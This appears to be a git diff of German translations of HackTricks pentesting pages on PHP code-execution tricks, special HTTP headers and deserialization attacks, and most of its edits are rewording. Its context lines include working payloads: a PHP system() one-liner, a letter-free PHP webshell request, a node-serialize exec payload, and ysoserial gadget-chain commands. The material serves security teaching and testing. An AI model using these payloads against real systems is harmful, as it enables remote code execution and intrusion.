- `?order=id;}//`: Wir erhalten eine Fehlermeldung (`Parse error: syntax error, unexpected ';'`). Wahrscheinlich fehlt uns eine oder mehrere Klammern.
+- `?order=id;}//`: Wir erhalten eine Fehlermeldung (`Parse error: syntax error, unexpected ';'`). Wahrscheinlich fehlen uns eine oder mehrere Klammern.
 - `?order=id);}//`: Wir erhalten eine **Warnung**. Das scheint richtig zu sein.
 - `?order=id));}//`: Wir erhalten eine Fehlermeldung (`Parse error: syntax error, unexpected ')' i`). Wahrscheinlich haben wir zu viele schließende Klammern.

@ -273,7 +274,7 @@ Verschiedene .htaccess-Shells finden Sie [hier](https://github.com/wireghoul/hts

 ### RCE über Env-Variablen

-Wenn Sie eine Schwachstelle finden, die es Ihnen ermöglicht, **Umgebungsvariablen in PHP zu ändern** (und eine andere, um Dateien hochzuladen, obwohl dies mit mehr Recherche möglicherweise umgangen werden kann), könnten Sie dieses Verhalten ausnutzen, um **RCE** zu erhalten.
+Wenn Sie eine Schwachstelle finden, die es Ihnen ermöglicht, **Umgebungsvariablen in PHP zu ändern** (und eine andere, um Dateien hochzuladen, obwohl dies mit mehr Forschung möglicherweise umgangen werden kann), könnten Sie dieses Verhalten ausnutzen, um **RCE** zu erhalten.

 - [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Diese Umgebungsvariable ermöglicht es Ihnen, beliebige Bibliotheken beim Ausführen anderer Binärdateien zu laden (obwohl es in diesem Fall möglicherweise nicht funktioniert).
 - **`PHPRC`** : Weist PHP an, **wo es seine Konfigurationsdatei finden soll**, die normalerweise `php.ini` heißt. Wenn Sie Ihre eigene Konfigurationsdatei hochladen können, verwenden Sie `PHPRC`, um PHP darauf zu verweisen. Fügen Sie einen **`auto_prepend_file`**-Eintrag hinzu, der eine zweite hochgeladene Datei angibt. Diese zweite Datei enthält normalen **PHP-Code, der dann** von der PHP-Laufzeitumgebung vor jedem anderen Code ausgeführt wird.
@ -312,7 +313,7 @@ phpinfo();
 ## PHP Sanitization Bypass & Brain Fuck

 [**In diesem Beitrag**](https://blog.redteam-pentesting.de/2024/moodle-rce/) sind großartige Ideen zu finden, um einen Brain Fuck PHP-Code mit sehr wenigen erlaubten Zeichen zu generieren.\
-Darüber hinaus wird auch ein interessanter Weg vorgeschlagen, um Funktionen auszuführen, die es ermöglichten, mehrere Überprüfungen zu umgehen:
+Darüber hinaus wird auch eine interessante Möglichkeit vorgeschlagen, Funktionen auszuführen, die es ermöglichten, mehrere Überprüfungen zu umgehen:
 ```php
 (1)->{system($_GET[chr(97)])}
 ```
@ -332,7 +333,7 @@ Sie können die **web**[ **www.unphp.net**](http://www.unphp.net) **verwenden, u

 ## PHP Wrappers & Protocols

-PHP-Wrappers und -Protokolle könnten es Ihnen ermöglichen, **Schreib- und Lese-Schutzmaßnahmen** in einem System zu umgehen und es zu kompromittieren. Für [**weitere Informationen überprüfen Sie diese Seite**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols).
+PHP-Wrappers und -Protokolle könnten es Ihnen ermöglichen, **Schreib- und Lese-Schutzmaßnahmen** in einem System zu **umgehen** und es zu kompromittieren. Für [**weitere Informationen überprüfen Sie diese Seite**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols).

 ## Xdebug unauthenticated RCE

@ -382,7 +383,7 @@ ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

 $_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
 ```
-Also, wenn Sie **willkürliches PHP ohne Zahlen und Buchstaben ausführen können**, können Sie eine Anfrage wie die folgende senden, um diese Nutzlast auszunutzen, um willkürliches PHP auszuführen:
+Also, wenn Sie **willkürlichen PHP-Code ohne Zahlen und Buchstaben ausführen können**, können Sie eine Anfrage wie die folgende senden, um diese Nutzlast auszunutzen, um willkürlichen PHP-Code auszuführen:
 ```
 POST: /action.php?_=system&__=cat+flag.php
 Content-Type: application/x-www-form-urlencoded
--- a/src/network-services-pentesting/pentesting-web/special-http-headers.md
+++ b/src/network-services-pentesting/pentesting-web/special-http-headers.md
@ -2,7 +2,7 @@

 {{#include ../../banners/hacktricks-training.md}}

-## Wortlisten & Tools
+## Wortlisten & Werkzeuge

 - [https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers](https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers)
 - [https://github.com/rfc-st/humble](https://github.com/rfc-st/humble)
@ -26,7 +26,7 @@ Schreibe **IP-Quelle** um:
 - `True-Client-IP: 127.0.0.1`
 - `Cluster-Client-IP: 127.0.0.1`
 - `Via: 1.0 fred, 1.1 127.0.0.1`
- `Connection: close, X-Forwarded-For` (Überprüfen Sie die Hop-by-Hop-Header)
+- `Connection: close, X-Forwarded-For` (Überprüfen Sie die hop-by-hop Header)

 Schreibe **Standort** um:

@ -69,7 +69,7 @@ Ein Hop-by-Hop-Header ist ein Header, der dafür ausgelegt ist, vom Proxy, der d

 **Lokale Cache-Header**:

- `Clear-Site-Data`: Header, um anzugeben, welcher Cache entfernt werden soll: `Clear-Site-Data: "cache", "cookies"`
+- `Clear-Site-Data`: Header, um anzugeben, dass der Cache entfernt werden soll: `Clear-Site-Data: "cache", "cookies"`
 - `Expires`: Enthält Datum/Uhrzeit, wann die Antwort ablaufen soll: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
 - `Pragma: no-cache` dasselbe wie `Cache-Control: no-cache`
 - `Warning`: Der **`Warning`** allgemeine HTTP-Header enthält Informationen über mögliche Probleme mit dem Status der Nachricht. Mehr als ein `Warning`-Header kann in einer Antwort erscheinen. `Warning: 110 anderson/1.3.37 "Response is stale"`
@ -83,7 +83,8 @@ Ein Hop-by-Hop-Header ist ein Header, der dafür ausgelegt ist, vom Proxy, der d
 ## Bereichsanfragen

 - **`Accept-Ranges`**: Gibt an, ob der Server Bereichsanfragen unterstützt und, falls ja, in welcher Einheit der Bereich ausgedrückt werden kann. `Accept-Ranges: <range-unit>`
- **`Range`**: Gibt den Teil eines Dokuments an, den der Server zurückgeben soll.
+- **`Range`**: Gibt den Teil eines Dokuments an, den der Server zurückgeben soll. Zum Beispiel wird `Range:80-100` die Bytes 80 bis 100 der ursprünglichen Antwort mit einem Statuscode von 206 Partial Content zurückgeben. Denken Sie auch daran, den `Accept-Encoding`-Header aus der Anfrage zu entfernen.
+- Dies könnte nützlich sein, um eine Antwort mit beliebigem reflektiertem JavaScript-Code zu erhalten, der sonst möglicherweise escaped werden könnte. Um dies auszunutzen, müssten Sie jedoch diese Header in die Anfrage injizieren.
 - **`If-Range`**: Erstellt eine bedingte Bereichsanfrage, die nur erfüllt wird, wenn der angegebene Etag oder das Datum mit der entfernten Ressource übereinstimmt. Wird verwendet, um das Herunterladen von zwei Bereichen aus inkompatiblen Versionen der Ressource zu verhindern.
 - **`Content-Range`**: Gibt an, wo in einer vollständigen Nachrichtenkörper eine partielle Nachricht gehört.

@ -92,13 +93,13 @@ Ein Hop-by-Hop-Header ist ein Header, der dafür ausgelegt ist, vom Proxy, der d
 - **`Content-Length`:** Die Größe der Ressource, in dezimalen Bytes.
 - **`Content-Type`**: Gibt den Medientyp der Ressource an
 - **`Content-Encoding`**: Wird verwendet, um den Komprimierungsalgorithmus anzugeben.
- **`Content-Language`**: Beschreibt die menschliche Sprache(n), die für das Publikum bestimmt sind, sodass es einem Benutzer ermöglicht, entsprechend der bevorzugten Sprache des Benutzers zu unterscheiden.
+- **`Content-Language`**: Beschreibt die menschliche Sprache(n), die für das Publikum bestimmt sind, sodass es dem Benutzer ermöglicht, entsprechend der bevorzugten Sprache des Benutzers zu unterscheiden.
 - **`Content-Location`**: Gibt einen alternativen Standort für die zurückgegebenen Daten an.

-Aus der Sicht eines Pentests sind diese Informationen normalerweise "nutzlos", aber wenn die Ressource **geschützt** ist durch einen 401 oder 403 und Sie einen **Weg** finden können, um diese **Info** zu **erhalten**, könnte dies **interessant** sein.\
-Zum Beispiel kann eine Kombination aus **`Range`** und **`Etag`** in einer HEAD-Anfrage den Inhalt der Seite über HEAD-Anfragen offenlegen:
+Aus der Sicht eines Pentests sind diese Informationen normalerweise "nutzlos", aber wenn die Ressource **geschützt** ist durch einen 401 oder 403 und Sie einen **Weg** finden können, um diese **Informationen** zu **erhalten**, könnte dies **interessant** sein.\
+Zum Beispiel kann eine Kombination aus **`Range`** und **`Etag`** in einer HEAD-Anfrage den Inhalt der Seite über HEAD-Anfragen leaken:

- Eine Anfrage mit dem Header `Range: bytes=20-20` und mit einer Antwort, die `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` enthält, offenbart, dass der SHA1 des Bytes 20 `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y` ist.
+- Eine Anfrage mit dem Header `Range: bytes=20-20` und einer Antwort, die `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` enthält, leakt, dass der SHA1 des Bytes 20 `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y` ist.

 ## Server-Info

@ -107,7 +108,7 @@ Zum Beispiel kann eine Kombination aus **`Range`** und **`Etag`** in einer HEAD-

 ## Kontrollen

- **`Allow`**: Dieser Header wird verwendet, um die HTTP-Methoden zu kommunizieren, die eine Ressource verarbeiten kann. Zum Beispiel könnte es als `Allow: GET, POST, HEAD` angegeben werden, was darauf hinweist, dass die Ressource diese Methoden unterstützt.
+- **`Allow`**: Dieser Header wird verwendet, um die HTTP-Methoden zu kommunizieren, die eine Ressource verarbeiten kann. Zum Beispiel könnte er als `Allow: GET, POST, HEAD` angegeben werden, was darauf hinweist, dass die Ressource diese Methoden unterstützt.
 - **`Expect`**: Wird vom Client verwendet, um Erwartungen zu übermitteln, die der Server erfüllen muss, damit die Anfrage erfolgreich verarbeitet werden kann. Ein häufiges Anwendungsbeispiel ist der Header `Expect: 100-continue`, der signalisiert, dass der Client beabsichtigt, eine große Datenmenge zu senden. Der Client wartet auf eine `100 (Continue)`-Antwort, bevor er mit der Übertragung fortfährt. Dieser Mechanismus hilft, die Netzwerknutzung zu optimieren, indem er auf die Bestätigung des Servers wartet.

 ## Downloads
@ -126,9 +127,9 @@ Das bedeutet, dass die Datei mit dem Namen "filename.jpg" zum Herunterladen und
 ../../pentesting-web/content-security-policy-csp-bypass/
 {{#endref}}

-### **Vertrauenswürdige Typen**
+### **Vertraute Typen**

-Durch die Durchsetzung von Vertrauenswürdigen Typen über CSP können Anwendungen vor DOM XSS-Angriffen geschützt werden. Vertrauenswürdige Typen stellen sicher, dass nur speziell gestaltete Objekte, die den festgelegten Sicherheitsrichtlinien entsprechen, in gefährlichen Web-API-Aufrufen verwendet werden können, wodurch JavaScript-Code standardmäßig gesichert wird.
+Durch die Durchsetzung von Vertrauten Typen über CSP können Anwendungen vor DOM XSS-Angriffen geschützt werden. Vertraute Typen stellen sicher, dass nur speziell gestaltete Objekte, die den festgelegten Sicherheitsrichtlinien entsprechen, in gefährlichen Web-API-Aufrufen verwendet werden können, wodurch JavaScript-Code standardmäßig gesichert wird.
 ```javascript
 // Feature detection
 if (window.trustedTypes && trustedTypes.createPolicy) {
@ -167,7 +168,7 @@ Access-Control-Allow-Credentials: true
 ```
 ### **Cross-Origin Embedder Policy (COEP) und Cross-Origin Opener Policy (COOP)**

-COEP und COOP sind entscheidend für die Aktivierung der Cross-Origin-Isolation und reduzieren erheblich das Risiko von Angriffen wie Spectre. Sie steuern das Laden von Cross-Origin-Ressourcen und die Interaktion mit Cross-Origin-Fenstern.
+COEP und COOP sind entscheidend für die Ermöglichung von Cross-Origin-Isolation und reduzieren erheblich das Risiko von Angriffen wie Spectre. Sie steuern das Laden von Cross-Origin-Ressourcen und die Interaktion mit Cross-Origin-Fenstern.
 ```
 Cross-Origin-Embedder-Policy: require-corp
 Cross-Origin-Opener-Policy: same-origin-allow-popups
--- a/src/pentesting-web/deserialization/README.md
+++ b/src/pentesting-web/deserialization/README.md
@ -4,9 +4,9 @@

 ## Grundinformationen

-**Serialization** wird als die Methode verstanden, ein Objekt in ein Format zu konvertieren, das erhalten werden kann, mit der Absicht, das Objekt entweder zu speichern oder es als Teil eines Kommunikationsprozesses zu übertragen. Diese Technik wird häufig eingesetzt, um sicherzustellen, dass das Objekt zu einem späteren Zeitpunkt rekonstruiert werden kann, wobei seine Struktur und sein Zustand beibehalten werden.
+**Serialization** wird als die Methode verstanden, ein Objekt in ein Format zu konvertieren, das gespeichert werden kann, mit der Absicht, das Objekt entweder zu speichern oder es als Teil eines Kommunikationsprozesses zu übertragen. Diese Technik wird häufig eingesetzt, um sicherzustellen, dass das Objekt zu einem späteren Zeitpunkt rekreiert werden kann, wobei seine Struktur und sein Zustand beibehalten werden.

-**Deserialization** hingegen ist der Prozess, der der Serialization entgegenwirkt. Es beinhaltet das Entnehmen von Daten, die in einem bestimmten Format strukturiert wurden, und deren Rekonstruktion zurück in ein Objekt.
+**Deserialization** hingegen ist der Prozess, der der Serialization entgegenwirkt. Es beinhaltet das Entnehmen von Daten, die in einem bestimmten Format strukturiert wurden, und das Rekonstruieren dieser Daten zurück in ein Objekt.

 Deserialization kann gefährlich sein, da sie potenziell **Angreifern ermöglicht, die serialisierten Daten zu manipulieren, um schädlichen Code auszuführen** oder unerwartetes Verhalten in der Anwendung während des Rekonstruktionsprozesses des Objekts zu verursachen.

@ -74,7 +74,7 @@ This is a test<br />
 */
 ?>
 ```
-Wenn Sie sich die Ergebnisse ansehen, können Sie sehen, dass die Funktionen **`__wakeup`** und **`__destruct`** aufgerufen werden, wenn das Objekt deserialisiert wird. Beachten Sie, dass Sie in mehreren Tutorials feststellen werden, dass die Funktion **`__toString`** aufgerufen wird, wenn versucht wird, ein Attribut auszugeben, aber anscheinend **geschieht das nicht mehr**.
+Wenn Sie sich die Ergebnisse ansehen, können Sie sehen, dass die Funktionen **`__wakeup`** und **`__destruct`** aufgerufen werden, wenn das Objekt deserialisiert wird. Beachten Sie, dass in mehreren Tutorials zu finden ist, dass die Funktion **`__toString`** aufgerufen wird, wenn versucht wird, ein Attribut auszugeben, aber anscheinend **geschieht das nicht mehr**.

 > [!WARNING]
 > Die Methode **`__unserialize(array $data)`** wird **anstatt von `__wakeup()`** aufgerufen, wenn sie in der Klasse implementiert ist. Sie ermöglicht es Ihnen, das Objekt zu deserialisieren, indem Sie die serialisierten Daten als Array bereitstellen. Sie können diese Methode verwenden, um Eigenschaften zu deserialisieren und alle erforderlichen Aufgaben bei der Deserialisierung auszuführen.
@ -169,8 +169,8 @@ python-yaml-deserialization.md

 ### JS Magic Functions

-JS **hat keine "magischen" Funktionen** wie PHP oder Python, die nur zum Erstellen eines Objekts ausgeführt werden. Aber es hat einige **Funktionen**, die **häufig verwendet werden, auch ohne sie direkt aufzurufen**, wie **`toString`**, **`valueOf`**, **`toJSON`**.\
-Wenn Sie eine Deserialisierung ausnutzen, können Sie **diese Funktionen kompromittieren, um anderen Code auszuführen** (potenziell durch Missbrauch von Prototyp-Verschmutzungen), sodass Sie beliebigen Code ausführen könnten, wenn sie aufgerufen werden.
+JS **hat keine "magischen" Funktionen** wie PHP oder Python, die nur zum Erstellen eines Objekts ausgeführt werden. Aber es gibt einige **Funktionen**, die **häufig verwendet werden, auch ohne sie direkt aufzurufen**, wie **`toString`**, **`valueOf`**, **`toJSON`**.\
+Wenn Sie eine Deserialisierung ausnutzen, können Sie **diese Funktionen kompromittieren, um anderen Code auszuführen** (potenziell durch Missbrauch von Prototype-Pollution), sodass Sie beliebigen Code ausführen könnten, wenn sie aufgerufen werden.

 Eine weitere **"magische" Möglichkeit, eine Funktion aufzurufen**, ohne sie direkt aufzurufen, besteht darin, **ein Objekt zu kompromittieren, das von einer asynchronen Funktion** (Promise) zurückgegeben wird. Denn wenn Sie **das Rückgabeobjekt** in ein anderes **Promise** mit einer **Eigenschaft** namens **"then" vom Typ Funktion** umwandeln, wird es **ausgeführt**, nur weil es von einem anderen Promise zurückgegeben wird. _Folgen Sie_ [_**diesem Link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _für weitere Informationen._
 ```javascript
@ -250,7 +250,7 @@ var test =
 "{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
 serialize.unserialize(test)
 ```
-Sie können [**hier weitere Informationen**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **finden**, wie man diese Schwachstelle ausnutzt.
+Sie können [**hier weitere Informationen**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **über die Ausnutzung dieser Schwachstelle** finden.

 ### [funcster](https://www.npmjs.com/package/funcster)

@ -313,7 +313,7 @@ In den folgenden Seiten finden Sie Informationen darüber, wie Sie diese Bibliot

 ## Java - HTTP

-In Java werden **Deserialisierungs-Callbacks während des Deserialisierungsprozesses ausgeführt**. Diese Ausführung kann von Angreifern ausgenutzt werden, die bösartige Payloads erstellen, die diese Callbacks auslösen und potenziell schädliche Aktionen ausführen.
+In Java werden **Deserialisierungs-Callbacks während des Deserialisierungsprozesses ausgeführt**. Diese Ausführung kann von Angreifern ausgenutzt werden, die bösartige Payloads erstellen, die diese Callbacks auslösen, was zu potenziell schädlichen Aktionen führen kann.

 ### Fingerabdrücke

@ -342,13 +342,13 @@ Für Black-Box-Tests suchen Sie nach spezifischen **Signaturen oder "Magic Bytes
 - HTTP-Antwortheader mit `Content-type`, der auf `application/x-java-serialized-object` gesetzt ist.
 - Hexadezimalmuster, das auf eine vorherige Kompression hinweist: `1F 8B 08 00`.
 - Base64-Muster, das auf eine vorherige Kompression hinweist: `H4sIA`.
- Webdateien mit der Erweiterung `.faces` und dem Parameter `faces.ViewState`. Das Entdecken dieser Muster in einer Webanwendung sollte eine Untersuchung nach sich ziehen, wie im [Beitrag über Java JSF ViewState Deserialisierung](java-jsf-viewstate-.faces-deserialization.md) beschrieben.
+- Webdateien mit der Erweiterung `.faces` und dem Parameter `faces.ViewState`. Das Entdecken dieser Muster in einer Webanwendung sollte eine Untersuchung nach sich ziehen, wie im [Beitrag über Java JSF ViewState Deserialisierung](java-jsf-viewstate-.faces-deserialization.md) detailliert beschrieben.
 ```
 javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
 ```
 ### Überprüfen, ob verwundbar

-Wenn Sie **lernen möchten, wie ein Java Deserialized Exploit funktioniert**, sollten Sie sich [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md) und [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md) ansehen.
+Wenn Sie **erfahren möchten, wie ein Java Deserialized Exploit funktioniert**, sollten Sie sich [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md) und [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md) ansehen.

 #### White Box Test

@ -359,7 +359,7 @@ grep -R InvokeTransformer .
 ```
 Du könntest versuchen, **alle bekannten verwundbaren Bibliotheken** zu überprüfen, für die [**Ysoserial**](https://github.com/frohoff/ysoserial) einen Exploit bereitstellen kann. Oder du könntest die in [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json) angegebenen Bibliotheken überprüfen.\
 Du könntest auch [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) verwenden, um nach möglichen Gadget-Ketten zu suchen, die ausgenutzt werden können.\
-Beim Ausführen von **gadgetinspector** (nach dem Erstellen) kümmere dich nicht um die vielen Warnungen/Fehler, die es durchläuft, und lass es fertigstellen. Es wird alle Ergebnisse unter _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_ schreiben. Bitte beachte, dass **gadgetinspector keinen Exploit erstellt und möglicherweise falsche Positivmeldungen anzeigt**.
+Beim Ausführen von **gadgetinspector** (nach dem Bauen) kümmere dich nicht um die vielen Warnungen/Fehler, die es durchläuft, und lass es fertigstellen. Es wird alle Ergebnisse unter _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_ schreiben. Bitte beachte, dass **gadgetinspector keinen Exploit erstellt und möglicherweise falsche Positivmeldungen anzeigt**.

 #### Black Box Test

@ -376,8 +376,8 @@ Du kannst auch [**Freddy**](https://github.com/nccgroup/freddy) verwenden, um **

 **Serialization Test**

-Es geht nicht nur darum, zu überprüfen, ob eine verwundbare Bibliothek vom Server verwendet wird. Manchmal könntest du in der Lage sein, **die Daten im serialisierten Objekt zu ändern und einige Prüfungen zu umgehen** (vielleicht um dir Admin-Rechte in einer Webanwendung zu gewähren).\
-Wenn du ein in Java serialisiertes Objekt findest, das an eine Webanwendung gesendet wird, **kannst du** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **verwenden, um das gesendete Serialisierungsobjekt in einem menschenlesbaren Format auszugeben**. Zu wissen, welche Daten du sendest, würde es einfacher machen, sie zu ändern und einige Prüfungen zu umgehen.
+Es geht nicht nur darum, zu überprüfen, ob eine verwundbare Bibliothek vom Server verwendet wird. Manchmal könntest du in der Lage sein, **die Daten im serialisierten Objekt zu ändern und einige Überprüfungen zu umgehen** (vielleicht um dir Admin-Rechte in einer Webanwendung zu gewähren).\
+Wenn du ein in Java serialisiertes Objekt findest, das an eine Webanwendung gesendet wird, **kannst du** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **verwenden, um das gesendete Serialisierungsobjekt in einem menschenlesbaren Format auszugeben**. Zu wissen, welche Daten du sendest, würde es einfacher machen, sie zu modifizieren und einige Überprüfungen zu umgehen.

 ### **Exploit**

@ -385,7 +385,7 @@ Wenn du ein in Java serialisiertes Objekt findest, das an eine Webanwendung gese

 Das Hauptwerkzeug zum Ausnutzen von Java-Deserialisierungen ist [**ysoserial**](https://github.com/frohoff/ysoserial) ([**hier herunterladen**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Du könntest auch in Betracht ziehen, [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) zu verwenden, das dir ermöglicht, komplexe Befehle (zum Beispiel mit Pipes) zu verwenden.\
 Beachte, dass dieses Tool **fokussiert** ist auf das Ausnutzen von **`ObjectInputStream`**.\
-Ich würde **beginnen, die "URLDNS"**-Payload **vor einer RCE**-Payload zu verwenden, um zu testen, ob die Injektion möglich ist. Beachte jedoch, dass die "URLDNS"-Payload möglicherweise nicht funktioniert, aber eine andere RCE-Payload möglicherweise schon.
+Ich würde **mit der "URLDNS"**-Payload **vor einer RCE**-Payload beginnen, um zu testen, ob die Injektion möglich ist. Beachte jedoch, dass die "URLDNS"-Payload möglicherweise nicht funktioniert, aber eine andere RCE-Payload möglicherweise schon.
 ```bash
 # PoC to make the application perform a DNS req
 java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
@ -430,9 +430,9 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
 # Base64 encode payload in base64
 base64 -w0 payload
 ```
-Beim Erstellen eines Payloads für **java.lang.Runtime.exec()** können Sie **keine Sonderzeichen** wie ">" oder "|" verwenden, um die Ausgabe einer Ausführung umzuleiten, "$()", um Befehle auszuführen oder sogar **Argumente** an einen Befehl zu übergeben, die durch **Leerzeichen** getrennt sind (Sie können `echo -n "hello world"` tun, aber Sie können nicht `python2 -c 'print "Hello world"'` tun). Um den Payload korrekt zu codieren, könnten Sie [diese Webseite](http://www.jackson-t.ca/runtime-exec-payloads.html) verwenden.
+Beim Erstellen eines Payloads für **java.lang.Runtime.exec()** können Sie **keine Sonderzeichen** wie ">" oder "|" verwenden, um die Ausgabe einer Ausführung umzuleiten, "$()", um Befehle auszuführen, oder sogar **Argumente** an einen Befehl zu übergeben, die durch **Leerzeichen** getrennt sind (Sie können `echo -n "hello world"` tun, aber Sie können nicht `python2 -c 'print "Hello world"'` tun). Um den Payload korrekt zu codieren, könnten Sie [diese Webseite](http://www.jackson-t.ca/runtime-exec-payloads.html) verwenden.

-Fühlen Sie sich frei, das nächste Skript zu verwenden, um **alle möglichen Codeausführungs-**Payloads für Windows und Linux zu erstellen und diese dann auf der verwundbaren Webseite zu testen:
+Fühlen Sie sich frei, das nächste Skript zu verwenden, um **alle möglichen Codeausführungs**-Payloads für Windows und Linux zu erstellen und diese dann auf der verwundbaren Webseite zu testen:
 ```python
 import os
 import base64
@ -475,7 +475,7 @@ Um das Projekt zu kompilieren, musste ich diese **Abhängigkeiten** zu `pom.xml`
 <type>pom</type>
 </dependency>
 ```
-**Installiere maven** und **kompiliere** das Projekt:
+**Installiere Maven** und **kompiliere** das Projekt:
 ```bash
 sudo apt-get install maven
 mvn clean package -DskipTests
@ -546,7 +546,7 @@ return super.resolveClass(desc);
 }
 }
 ```
-**Verwendung eines Java-Agents zur Sicherheitsverbesserung** bietet eine Fallback-Lösung, wenn eine Codeänderung nicht möglich ist. Diese Methode gilt hauptsächlich für **das Blacklisting schädlicher Klassen**, unter Verwendung eines JVM-Parameters:
+**Verwendung eines Java-Agenten zur Sicherheitsverbesserung** bietet eine Fallback-Lösung, wenn eine Codeänderung nicht möglich ist. Diese Methode gilt hauptsächlich für **das Blacklisting schädlicher Klassen**, unter Verwendung eines JVM-Parameters:
 ```
 -javaagent:name-of-agent.jar
 ```
@ -585,12 +585,12 @@ ObjectInputFilter.Config.setSerialFilter(filter);
 - [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
 - [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
 - [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
- Java und .Net JSON-Deserialisierung **Papier:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** Vortrag: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) und Folien: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
+- Java und .Net JSON Deserialisierung **Papier:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** Vortrag: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) und Folien: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
 - Deserialisierungs-CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)

 ## JNDI-Injection & log4Shell

-Finden Sie heraus, was **JNDI-Injection ist, wie man es über RMI, CORBA & LDAP missbraucht und wie man log4shell ausnutzt** (und ein Beispiel für diese Schwachstelle) auf der folgenden Seite:
+Finden Sie heraus, was **JNDI Injection ist, wie man es über RMI, CORBA & LDAP missbraucht und wie man log4shell ausnutzt** (und ein Beispiel für diese Schwachstelle) auf der folgenden Seite:

 {{#ref}}
 jndi-java-naming-and-directory-interface-and-log4shell.md
@ -615,7 +615,7 @@ Das bedeutet, dass bei dieser Ausnutzung alle **Clients, die diese Nachricht ver

 Sie sollten sich daran erinnern, dass selbst wenn ein Dienst anfällig ist (weil er Benutzereingaben unsicher deserialisiert), Sie dennoch gültige Gadgets finden müssen, um die Schwachstelle auszunutzen.

-Das Tool [JMET](https://github.com/matthiaskaiser/jmet) wurde entwickelt, um **diese Dienste zu verbinden und anzugreifen, indem mehrere bösartige Objekte gesendet werden, die mit bekannten Gadgets serialisiert sind**. Diese Exploits funktionieren, wenn der Dienst weiterhin anfällig ist und wenn eines der verwendeten Gadgets in der anfälligen Anwendung enthalten ist.
+Das Tool [JMET](https://github.com/matthiaskaiser/jmet) wurde erstellt, um **diese Dienste zu verbinden und anzugreifen, indem mehrere bösartige Objekte gesendet werden, die mit bekannten Gadgets serialisiert sind**. Diese Exploits funktionieren, wenn der Dienst weiterhin anfällig ist und wenn eines der verwendeten Gadgets in der anfälligen Anwendung enthalten ist.

 ### Referenzen

@ -635,11 +635,11 @@ Der Quellcode sollte auf Vorkommen von:
 1. `TypeNameHandling`
 2. `JavaScriptTypeResolver`

-Untersucht werden. Der Fokus sollte auf Serialisierern liegen, die es ermöglichen, den Typ durch eine vom Benutzer kontrollierte Variable zu bestimmen.
+Untersucht werden. Der Fokus sollte auf Serialisierern liegen, die es ermöglichen, den Typ durch eine Variable unter Benutzerkontrolle zu bestimmen.

 #### BlackBox

